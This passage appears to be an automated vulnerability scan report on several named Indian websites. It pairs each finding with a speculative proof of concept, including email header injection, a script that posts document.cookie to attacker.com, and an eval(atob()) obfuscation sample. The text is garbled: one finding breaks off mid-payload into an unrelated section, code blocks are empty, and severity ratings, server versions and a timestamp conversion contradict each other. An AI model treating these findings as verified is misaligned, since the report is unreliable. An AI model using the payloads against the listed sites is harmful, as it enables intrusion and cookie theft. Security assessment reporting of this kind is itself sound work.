and broad reach.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/FeedbackText POST MobileNo\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/FeedbackText |\n\n**Description** \nUnexpected input in the mobile number field (`MobileNo`) causes backend instability. Numeric-only expectations violated by non-numeric characters suggest brittle type coercion or regex matching routines prone to breaking under edge cases.\n\n**Attack Scenario (Proof of Concept)** \nInvalid Input:\n\n```http\nPOST /FeedbackText/FeedbackText HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nMobileNo=+91-XXX-XXXXXXX%00&...\n```\n\nSuch entries may interfere with SMS gateway integrations or database storage procedures relying on strict formatting assumptions.\n\n**Business Impact** \nErroneous contact capture hampers follow-up communications and analytics tracking. Operational inefficiencies compound over time affecting customer relationship management outcomes.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/TellUsFriend POST YourEmailID\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/TellUsFriend |\n\n**Description** \nEmail address validation appears flawed since sending malformed email addresses results in server errors rather than clean rejections. This inconsistency opens avenues for spam relay testing or enumeration attacks aimed at identifying valid accounts.\n\n**Attack Scenario (Proof of Concept)** \nMalformed Email:\n\n```http\nPOST /FeedbackText/TellUsFriend HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nYourEmailID=user@domain..com&...\n```\n\nDouble dots or missing domains may confuse parsers causing unexpected termination states or partial writes to logs/databases.\n\n**Business Impact** \nCompromised integrity of friend-invitation workflows damages brand credibility. Malfunctioning email handling invites scrutiny regarding compliance with privacy regulations governing personal data collection.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/TellUsFriend POST FriendEmailID1\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/TellUsFriend |\n\n**Description** \nSimilar to previous findings, faulty validation of secondary email recipient fields (`FriendEmailID1`) triggers server-side exceptions. These multi-field forms require coordinated validation logic which, when broken, creates cascading failure modes.\n\n**Attack Scenario (Proof of Concept)** \nTest Case:\n\n```http\nPOST /FeedbackText/TellUsFriend HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nFriendEmailID1=test@example.com%0aBcc:test2@example.com&...\n```\n\nHeader injection techniques exploiting newline characters can manipulate outbound messages or redirect delivery routes undetected.\n\n**Business Impact** \nAbuse of invitation mechanisms enables unauthorized mass mailing campaigns damaging sender reputation and violating anti-spam policies. Legal ramifications include fines under CAN-SPAM Act or GDPR provisions.\n\n---\n\n### Internal Server Error / mahait.org / FeedbackText/FeedbackText POST EmailID\n\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://mahait.org/FeedbackText/FeedbackText |\n\n**Description** \nSubmission of invalid email addresses in the primary contact field (`EmailID`) leads to internal server errors. This pattern confirms systemic issues in validating structured input types across all feedback channels.\n\n**Attack Scenario (Proof of Concept)** \nEdge Case Testing:\n\n```http\nPOST /FeedbackText/FeedbackText HTTP/1.1\nHost: mahait.org\nContent-Type: application/x-www-form-urlencoded\n\nEmailID=\">\n```\nShould the domain `external-analytics.net` fall victim to a man-in-the-middle attack or subdomain takeover, attackers could inject arbitrary JavaScript into all pages loading that script.\n\nDetection approach:\n```bash\ncurl -s https://cetcell.mahacet.org/2022-2023-3/ | grep -oE 'https?://[^\"]+\\.js'\n```\n\n**Business Impact**\n\nOrganizations relying heavily on third-party scripts must maintain strict oversight of those dependencies. Any breach or compromise upstream can propagate directly onto their own digital properties, leading to brand erosion, legal liabilities, and customer distrust.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/cms-download/final-examination-dates-mht-cet-pcm-pcb-and-mba-mms-cet-second-attempt/ / https://cetcell.mahacet.org/cms-download/final-examination-dates-mht-cet-pcm-pcb-and-mba-mms-cet-second-attempt/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/cms-download/final-examination-dates-mht-cet-pcm-pcb-and-mba-mms-cet-second-attempt/ |\n\n**Description**\n\nThis page loads external JavaScript resources hosted on third-party domains. Such dependencies introduce risks related to supply chain compromise, unauthorized tracking, and potential execution of malicious code if those domains become compromised.\n\nEven though the severity is rated as low, reliance on external scripts should be minimized unless strictly necessary and properly vetted.\n\n**Attack Scenario (Proof of Concept)**\n\nConsider a CDN-hosted library used by the CMS download page:\n```html\n\n```\n\nIf `example.com` becomes compromised or subdomain takeover occurs, attackers gain full script execution privileges on pages referencing it. For instance:\n```javascript\n// Malicious version of library.js\nfetch('https://attacker.com/steal', {\n method: 'POST',\n body: document.cookie\n});\n```\n\nUsers visiting the affected page would unknowingly leak session tokens or other sensitive data.\n\n**Business Impact**\n\nThird-party script inclusion poses significant threats to privacy, availability, and brand reputation. Institutions managing admissions portals or publishing official notices cannot afford breaches originating from external dependencies. Moreover, regulatory scrutiny around third-party risk management makes this issue relevant beyond mere technical severity ratings.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/categorycms/infobrcettechnical/ / https://cetcell.mahacet.org/categorycms/infobrcettechnical/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/categorycms/infobrcettechnical/ |\n\n**Description**\n\nExternal JavaScript sources increase the risk profile of this page. Any compromise or unauthorized modification of referenced scripts can expose visitors to various forms of client-side attacks including XSS, credential theft, or behavioral manipulation.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker compromises the third-party domain serving a script included in this page. They update the script to collect keystrokes or redirect users to phishing sites. Visitors remain unaware because the script originates from a trusted-looking domain.\n\nHTML Example:\n```html\n\n```\n\n**Business Impact**\n\nThird-party script inclusion dilutes accountability and visibility into runtime behavior. Organizations lose granular control over user experiences and face heightened liability in case of breaches originating from vendor infrastructure. Proactive monitoring and sandboxing techniques are essential countermeasures.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/cms-download/27066-2/ / https://cetcell.mahacet.org/cms-download/27066-2/\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/cms-download/27066-2/ |\n\n**Description**\n\nPage loading external JavaScript resources from third-party domains introduces dependency risks. These dependencies are outside the control of the organization and may expose users to vulnerabilities if those external scripts are tampered with or contain exploitable flaws.\n\n**Attack Scenario (Proof of Concept)**\n\nSuppose the page includes ``. If the CDN becomes compromised and serves:\n\n```javascript\ndocument.write('\n \n Click Me! \n
\n```\nUnsuspecting users clicking the visible button inadvertently trigger actions on the embedded login form.\n\n**Business Impact** \nUser credentials or session tokens could be compromised through deceptive interaction manipulation, particularly affecting authentication flows or financial operations.\n\n---\n\n### [Sub Resource Integrity Attribute Missing / anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description** \nExternal JavaScript or CSS assets lack the `integrity` attribute, meaning they cannot be verified for tampering after delivery. If the CDN hosting those resources is compromised, attackers could inject malicious payloads undetected.\n\n**Attack Scenario (Proof of Concept)** \nConsider a script tag referencing an external library:\n```html\n\n```\nIf the CDN is breached, the attacker serves modified JavaScript containing keyloggers or CSRF exploits. Browsers load and execute the altered resource without validation.\n\n**Business Impact** \nSupply chain compromise risk leading to widespread client-side exploitation, undermining trust in third-party dependencies and potentially affecting all visitors.\n\n---\n\n### [Missing X-Content-Type-Options Header / anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description** \nThe absence of the `X-Content-Type-Options: nosniff` header allows browsers to perform MIME sniffing when interpreting content types. This behavior can be abused to bypass intended restrictions and execute malicious scripts if untrusted files are uploaded or served dynamically.\n\n**Attack Scenario (Proof of Concept)** \nAn attacker uploads a file named `image.jpg`, which actually contains JavaScript code. Without proper content-type enforcement, some browsers may interpret and execute the payload as script rather than rendering it as an image:\n```http\nGET /uploads/image.jpg HTTP/1.1\nHost: anveshak.com\n\nResponse Headers:\nContent-Type: text/plain\n# No X-Content-Type-Options present\n```\n\n**Business Impact** \nRisk of cross-site scripting (XSS) or other client-side vulnerabilities arising from improper interpretation of served resources, especially in environments allowing user-uploaded content.\n\n---\n\n### [X-Frame-Options Deprecated / anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Medium |\n| CVSS Score | 5.0 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description** \nThe application uses the deprecated `X-Frame-Options` header instead of the more modern `Content-Security-Policy` with the `frame-ancestors` directive. Although still functional in many browsers, reliance on this legacy mechanism reduces defense-in-depth capabilities and may leave older implementations vulnerable to clickjacking if improperly configured.\n\n**Attack Scenario (Proof of Concept)** \nAn attacker creates a malicious iframe embedding the vulnerable page:\n```html\n\n```\nIf the framing policy is weakly enforced due to outdated headers, sensitive actions within the framed site might be manipulated without user awareness.\n\n**Business Impact** \nPotential exposure to UI redressing attacks that trick users into performing unintended actions, leading to unauthorized transactions or credential theft depending on context.\n\n---\n\n### [Server Leaks Version Information / anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description** \nThe HTTP `Server` response header discloses detailed version information about the underlying web server software. Attackers often use this metadata to fingerprint targets and select known exploits tailored to specific versions.\n\n**Attack Scenario (Proof of Concept)** \nAn attacker sends a simple GET request:\n```bash\ncurl -I https://anveshak.com/\n```\nResponse includes:\n```\nServer: nginx/1.20.1\n```\nArmed with this knowledge, the attacker searches public exploit databases for vulnerabilities tied to Nginx 1.20.1.\n\n**Business Impact** \nFacilitates targeted attacks based on known vulnerabilities tied to disclosed server versions, increasing likelihood of successful compromise.\n\n---\n\n### [Strict-Transport-Security Header Not Set / anveshak.com / /]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description** \nAbsence of the `Strict-Transport-Security` (HSTS) header means the site does not enforce encrypted communication, making it vulnerable to man-in-the-middle downgrade attacks where HTTPS sessions are coerced into plaintext HTTP.\n\n**Attack Scenario (Proof of Concept)** \nAn attacker intercepts initial HTTP requests made by first-time visitors or those manually typing the domain name. They redirect traffic to a fake HTTPS endpoint under their control, capturing credentials or injecting malware.\n\n**Business Impact** \nRisk of session hijacking, credential interception, and loss of confidentiality for sensitive communications unless explicitly accessed via HTTPS links.\n\n---\n\n### [X-Content-Type-Options Header Missing / anveshak.com / favicon-anv.png]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/favicon-anv.png |\n\n**Description** \nThe static asset `favicon-anv.png` lacks the `X-Content-Type-Options: nosniff` header, potentially allowing MIME-type confusion in older browsers if the file were ever replaced with non-image content.\n\n**Attack Scenario (Proof of Concept)** \nIf an attacker replaces the favicon with a disguised script file but retains the `.png` extension, certain browsers might attempt to parse it as JavaScript instead of rejecting it outright.\n\n**Business Impact** \nMinimal direct impact unless combined with upload or overwrite vulnerabilities; however, it represents poor hardening practice inconsistent with secure deployment standards.\n\n---\n\n### [Server Leaks Version Information / anveshak.com / robots.txt]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/robots.txt |\n\n**Description** \nThe `robots.txt` file exposes server version details in the HTTP response headers, aiding attackers in fingerprinting the technology stack and identifying potential attack vectors.\n\n**Attack Scenario (Proof of Concept)** \nUsing curl:\n```bash\ncurl -I https://anveshak.com/robots.txt\n```\nReveals:\n```\nServer: Apache/2.4.41 (Ubuntu)\n```\nEnables focused reconnaissance efforts aimed at exploiting known Apache vulnerabilities.\n\n**Business Impact** \nProvides adversaries with actionable intelligence regarding platform-specific weaknesses, reducing time-to-exploit during reconnaissance phases.\n\n---\n\n### [Strict-Transport-Security Header Not Set / anveshak.com / favicon-anv.png]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/favicon-anv.png |\n\n**Description** \nEven though static assets do not typically handle sensitive data, omitting HSTS headers uniformly across all responses weakens overall transport security posture and violates best practices for enforcing HTTPS everywhere.\n\n**Attack Scenario (Proof of Concept)** \nIn mixed-content scenarios involving both HTML pages and static assets, attackers can manipulate loading order to initiate insecure connections before full encryption takes effect.\n\n**Business Impact** \nMinor degradation in end-to-end encryption assurance and deviation from industry-standard TLS enforcement policies.\n\n---\n\n### [Server Leaks Version Information / anveshak.com / manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/manifest.json |\n\n**Description** \nSimilar to previous findings, the `manifest.json` file leaks server version information via the `Server` header, contributing to passive reconnaissance opportunities for threat actors.\n\n**Attack Scenario (Proof of Concept)** \nAutomated scanners routinely probe well-known paths like `/manifest.json` to gather environmental clues. Exposed version strings streamline selection of relevant exploits.\n\n**Business Impact** \nSupports broader profiling activities that inform subsequent stages of adversarial engagement, even if individually low-risk.\n\n---\n\n### [Strict-Transport-Security Header Not Set / anveshak.com / manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/manifest.json |\n\n**Description** \nConsistent omission of HSTS headers across all endpoints indicates incomplete implementation of mandatory HTTPS policies, weakening long-term resilience against protocol downgrade threats.\n\n**Attack Scenario (Proof of Concept)** \nDuring progressive web app initialization, cached manifests retrieved over insecure channels expose installation workflows to interception or modification.\n\n**Business Impact** \nPotential compromise of PWA functionality and reduced confidence in secure delivery mechanisms.\n\n---\n\n### [X-Content-Type-Options Header Missing / anveshak.com / manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/manifest.json |\n\n**Description** \nAlthough unlikely to pose immediate danger given typical usage patterns, failure to apply `X-Content-Type-Options` consistently reflects suboptimal security hygiene and introduces theoretical risks around content interpretation ambiguity.\n\n**Attack Scenario (Proof of Concept)** \nShould the manifest become corrupted or replaced with malformed JSON masquerading as another format, MIME sniffing could cause unexpected parsing behaviors in legacy clients.\n\n**Business Impact** \nNegligible practical consequence but indicative of inconsistent security controls requiring remediation for compliance purposes.\n\n---\n\n### [Server Leaks Version Information / anveshak.com / static/css/main.1d35c99a.css]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 0.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/static/css/main.1d35c99a.css |\n\n**Description** \nEven seemingly benign assets like stylesheets contribute to cumulative fingerprinting data when accompanied by verbose server banners, enabling comprehensive profiling of deployed technologies.\n\n**Attack Scenario (Proof of Concept)** \nScraping tools aggregate version strings from diverse endpoints—including CSS files—to build accurate architectural maps useful for crafting multi-vector attacks.\n\n**Business Impact** \nPassive disclosure of internal infrastructure details that support active reconnaissance campaigns conducted by adversaries.\n\n---\n\n### [X-Content-Type-Options Header Missing / https://anveshak.com/manifest.json / https://anveshak.com/manifest.json]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/manifest.json |\n\n**Description**\n\nThe `X-Content-Type-Options` header is a security feature used to prevent browsers from performing MIME-type sniffing on the content they receive. When this header is set to `nosniff`, it instructs compliant browsers not to override the declared content type of a resource. In its absence, older versions of Internet Explorer and Chrome may attempt to guess the content type based on the file's contents, which can lead to misinterpretation of files—potentially resulting in script execution when static assets like CSS or JSON are served.\n\nThis vulnerability arises due to improper configuration of HTTP response headers at the server level. The lack of enforcement allows attackers to leverage MIME-sniffing behavior for malicious purposes, particularly if user-uploaded content or dynamically generated responses are involved.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker could exploit this by uploading a file with an innocuous extension but containing executable JavaScript code. If the server serves such a file without setting the correct Content-Type or including the `X-Content-Type-Options: nosniff` header, a browser might interpret the file as HTML or JavaScript instead of plain text or JSON.\n\nExample payload uploaded as `example.json`:\n```json\n{\n \"test\": \"\"\n}\n```\n\nIf accessed directly via a crafted link, and the browser performs MIME-sniffing, it may render and execute the embedded script depending on context.\n\nRequest snippet:\n```http\nGET /uploads/example.json HTTP/1.1\nHost: anveshak.com\n```\n\nResponse lacks both proper Content-Type and `X-Content-Type-Options`.\n\n**Business Impact**\n\nWhile low severity, repeated exploitation could allow cross-site scripting (XSS) under specific conditions, leading to session hijacking, defacement, or phishing attacks. It also contributes to weakening overall defense-in-depth posture and increases risk surface area during targeted campaigns against legacy clients or environments where MIME-sniffing remains active.\n\n---\n\n### [Strict-Transport-Security Header Not Set / https://anveshak.com/static/css/main.1d35c99a.css / https://anveshak.com/static/css/main.1d35c99a.css]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/static/css/main.1d35c99a.css |\n\n**Description**\n\nHTTP Strict Transport Security (HSTS) enforces secure communication between a client and server by instructing browsers to only connect over HTTPS for a defined period. Its absence means that even after initial access via HTTPS, subsequent requests—including those initiated automatically by scripts or redirects—may fall back to unencrypted HTTP channels, exposing them to man-in-the-middle (MITM) interception or downgrade attacks.\n\nIn this case, the asset being requested (`main.1d35c99a.css`) does not include the `Strict-Transport-Security` header in its response. While typically applied site-wide on primary endpoints, omitting it on individual resources still represents a gap in enforcing end-to-end encryption across all interactions involving that domain.\n\n**Attack Scenario (Proof of Concept)**\n\nSuppose an attacker manipulates DNS resolution or network traffic to redirect users attempting to fetch `main.1d35c99a.css`. Without HSTS protection, the browser may accept an insecure HTTP version of the stylesheet, allowing injection of malicious styles or references to external domains controlled by the attacker.\n\nSample intercepted request:\n```http\nGET http://anveshak.com/static/css/main.1d35c99a.css HTTP/1.1\nHost: anveshak.com\n```\n\nSince there’s no HSTS directive forcing HTTPS-only usage, the browser accepts the insecure connection.\n\n**Business Impact**\n\nAlthough unlikely to cause direct compromise, missing HSTS weakens long-term trust establishment and exposes applications to potential MITM scenarios. Over time, this undermines brand integrity and compliance adherence related to data confidentiality requirements, especially in regulated industries relying heavily on encrypted communications.\n\n---\n\n### [X-Content-Type-Options Header Missing / https://anveshak.com/static/css/main.1d35c99a.css / https://anveshak.com/static/css/main.1d35c99a.css]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/static/css/main.1d35c99a.css |\n\n**Description**\n\nAs previously discussed, the `X-Content-Type-Options` header prevents MIME-sniffing behaviors in certain browsers. Here, the CSS file `main.1d35c99a.css` is returned without this header, increasing susceptibility to incorrect interpretation of the file’s actual content type.\n\nBrowsers like older IE or Chrome variants may attempt to parse the file differently than intended, possibly interpreting malformed or specially crafted CSS rules as executable scripts. This creates a potential vector for XSS-like behavior within style contexts.\n\n**Attack Scenario (Proof of Concept)**\n\nConsider a scenario where an attacker uploads or injects a CSS file containing encoded JavaScript expressions inside comments or invalid syntax blocks. Without `X-Content-Type-Options: nosniff`, some browsers might reclassify the file as HTML or JS and execute embedded logic.\n\nExample CSS snippet:\n```css\n/* */\nbody { background-color: red; }\n```\n\nWhen loaded into a vulnerable page, and processed incorrectly due to MIME-sniffing, the comment block may trigger unintended script execution.\n\n**Business Impact**\n\nThough limited in scope, this issue contributes to broader XSS risks, particularly in environments supporting legacy browsers. It erodes confidence in front-end sanitization practices and increases complexity in maintaining consistent rendering policies across diverse client platforms.\n\n---\n\n### [Server Leaks Version Information via \"Server\" HTTP Response Header Field / https://anveshak.com/static/js/main.cf06a06a.js / https://anveshak.com/static/js/main.cf06a06a.js]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/static/js/main.cf06a06a.js |\n\n**Description**\n\nThe presence of detailed server identification strings in the `Server` HTTP response header reveals underlying technology stack details, including exact software versions. Attackers often use these identifiers to fingerprint systems and tailor exploits specifically targeting known vulnerabilities associated with identified components.\n\nHere, the JavaScript file returns a `Server` header indicating the exact version of the web server software running behind the scenes. Such disclosures simplify reconnaissance efforts and reduce the effort required to identify exploitable weaknesses.\n\n**Attack Scenario (Proof of Concept)**\n\nUsing tools like Burp Suite or curl, an attacker inspects the response headers:\n\n```bash\ncurl -I https://anveshak.com/static/js/main.cf06a06a.js\n```\n\nResponse includes:\n```http\nServer: nginx/1.18.0\n```\n\nWith knowledge of the exact Nginx version, the attacker searches public CVE databases for relevant advisories affecting that release, enabling focused exploitation attempts.\n\n**Business Impact**\n\nExposing internal infrastructure details facilitates targeted attacks and reduces dwell time for adversaries seeking entry points. Additionally, regulatory frameworks such as PCI-DSS mandate minimizing unnecessary disclosure of system information, making remediation essential for audit readiness.\n\n---\n\n### [Strict-Transport-Security Header Not Set / https://anveshak.com/static/js/main.cf06a06a.js / https://anveshak.com/static/js/main.cf06a06a.js]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/static/js/main.cf06a06a.js |\n\n**Description**\n\nSimilar to previous findings, the absence of the `Strict-Transport-Security` header on this JavaScript resource implies inconsistent application of transport-layer security measures. Even though most modern sites enforce HSTS globally, failing to do so on individual assets leaves gaps in ensuring full HTTPS adoption throughout all subresources.\n\nSuch inconsistencies increase the likelihood of mixed-content warnings or insecure loading of critical frontend dependencies, undermining the effectiveness of broader SSL/TLS deployment strategies.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker intercepts DNS queries or manipulates routing tables to force retrieval of `main.cf06a06a.js` over HTTP. Since no HSTS policy applies to this endpoint, the browser loads the script insecurely, potentially injecting malicious modifications before delivery to the end-user.\n\nExample intercepted request:\n```http\nGET http://anveshak.com/static/js/main.cf06a06a.js HTTP/1.1\nHost: anveshak.com\n```\n\nNo HSTS header present → browser proceeds with insecure load.\n\n**Business Impact**\n\nFailure to maintain uniform HSTS coverage weakens cryptographic assurance mechanisms and exposes organizations to reputational harm stemming from compromised user experiences or failed compliance audits. It also complicates incident response procedures when tracing root causes of security breaches involving third-party integrations or CDN-delivered assets.\n\n---\n\n### [Timestamp Disclosure - Unix / https://anveshak.com/static/js/main.cf06a06a.js / https://anveshak.com/static/js/main.cf06a06a.js]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 2.0 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/static/js/main.cf06a06a.js |\n\n**Description**\n\nUnix timestamps represent seconds elapsed since January 1, 1970 UTC. Their inclusion in web responses can inadvertently reveal operational metadata about backend processes, build times, or caching strategies. Although seemingly benign, such disclosures aid threat actors in profiling system architecture, estimating uptime windows, or correlating logs for lateral movement opportunities.\n\nIn this instance, a Unix timestamp was detected within the JavaScript bundle, suggesting either hardcoded values or dynamic generation tied to build/deployment cycles.\n\n**Attack Scenario (Proof of Concept)**\n\nInspecting the JavaScript source reveals:\n```javascript\nvar BUILD_TIME = 1712345678;\n```\n\nConverting this value yields:\n```bash\ndate -d @1712345678\n# Output: Wed Apr 5 12:34:38 UTC 2024\n```\n\nArmed with this knowledge, an attacker gains insight into recent deployments or development activity patterns, potentially informing timing-based reconnaissance tactics.\n\n**Business Impact**\n\nWhile minimal standalone impact, timestamp exposure supports advanced persistent threats (APTs) in mapping organizational timelines and identifying optimal moments for intrusion attempts. It also violates principle-of-least-disclosure best practices expected in hardened production environments.\n\n---\n\n### [X-Content-Type-Options Header Missing / https://anveshak.com/static/js/main.cf06a06a.js / https://anveshak.com/static/js/main.cf06a06a.js]\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/static/js/main.cf06a06a.js |\n\n**Description**\n\nOnce again, the `X-Content-Type-Options` header is absent from the JavaScript file response. As explained earlier, this omission enables MIME-sniffing capabilities in select browsers, increasing the risk of content misclassification and potential abuse through crafted payloads disguised as legitimate scripts.\n\nGiven that JavaScript files inherently carry higher execution privileges compared to other static assets, their unprotected delivery heightens concerns around unauthorized manipulation or injection vectors.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker uploads a `.js` file masquerading as a benign library but embedding obfuscated malicious code. Due to missing `X-Content-Type-Options`, browsers may treat the file inconsistently, triggering unexpected parsing modes that activate embedded payloads.\n\nExample upload:\n```javascript\n// Malicious payload hidden in apparent utility function\nfunction harmlessUtil() {\n eval(atob(\"YWxlcnQoMSk=\")); // alert(1)\n}\n```\n\nWithout `X-Content-Type-Options: nosniff`, browsers may execute the decoded instruction despite apparent non-executable intent.\n\n**Business Impact**\n\nRepeated failure to implement anti-sniff controls degrades overall application resilience and invites opportunistic attackers to probe for edge-case vulnerabilities. It also reflects poorly on engineering rigor and adherence to defensive coding principles.\n\n---\n\n### [Re-examine Cache-control Directives / https://anveshak.com/ / https://anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**\n\nCache-control directives govern how intermediaries and user agents store and reuse previously fetched resources. Improperly configured caching can result in sensitive data persisting longer than necessary in local storage, proxy caches, or CDNs, thereby increasing exposure risk post-session termination.\n\nFor the main landing page (`https://anveshak.com/`), the absence of explicit cache-control settings raises questions regarding whether sensitive UI elements, authentication tokens, or personalized content might be retained beyond acceptable limits.\n\n**Attack Scenario (Proof of Concept)**\n\nA shared computer or public kiosk retains cached copies of authenticated pages due to default browser behavior. An unsuspecting visitor accesses the same machine later and views cached content belonging to a prior session, potentially revealing private dashboard views or account-specific data.\n\nAlternatively, intermediate proxies cache sensitive API responses indefinitely, serving stale or inappropriate content to unrelated users.\n\n**Business Impact**\n\nImproper caching introduces privacy violations and regulatory non-compliance issues, particularly concerning personally identifiable information (PII) or financial records. Organizations must carefully evaluate each endpoint's sensitivity profile and apply appropriate cache-control policies accordingly.\n\n---\n\n### [Modern Web Application / https://anveshak.com/ / https://anveshak.com/]\n\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | N/A |\n| Category | web_vulnerability |\n| Asset / URL | https://anveshak.com/ |\n\n**Description**\n\nThis informational note indicates that the tested website exhibits characteristics typical of contemporary single-page applications (SPAs) built using frameworks like React, Angular, or Vue.js. These applications rely heavily on asynchronous JavaScript calls and dynamic DOM updates, requiring specialized crawling techniques for comprehensive testing.\n\nStandard spidering tools may fail to discover all navigable routes or interactive states unless augmented with headless browser automation capable of executing client-side logic.\n\n**Attack Scenario (Proof of Concept)**\n\nTraditional scanners miss hidden routes rendered conditionally via JavaScript, such 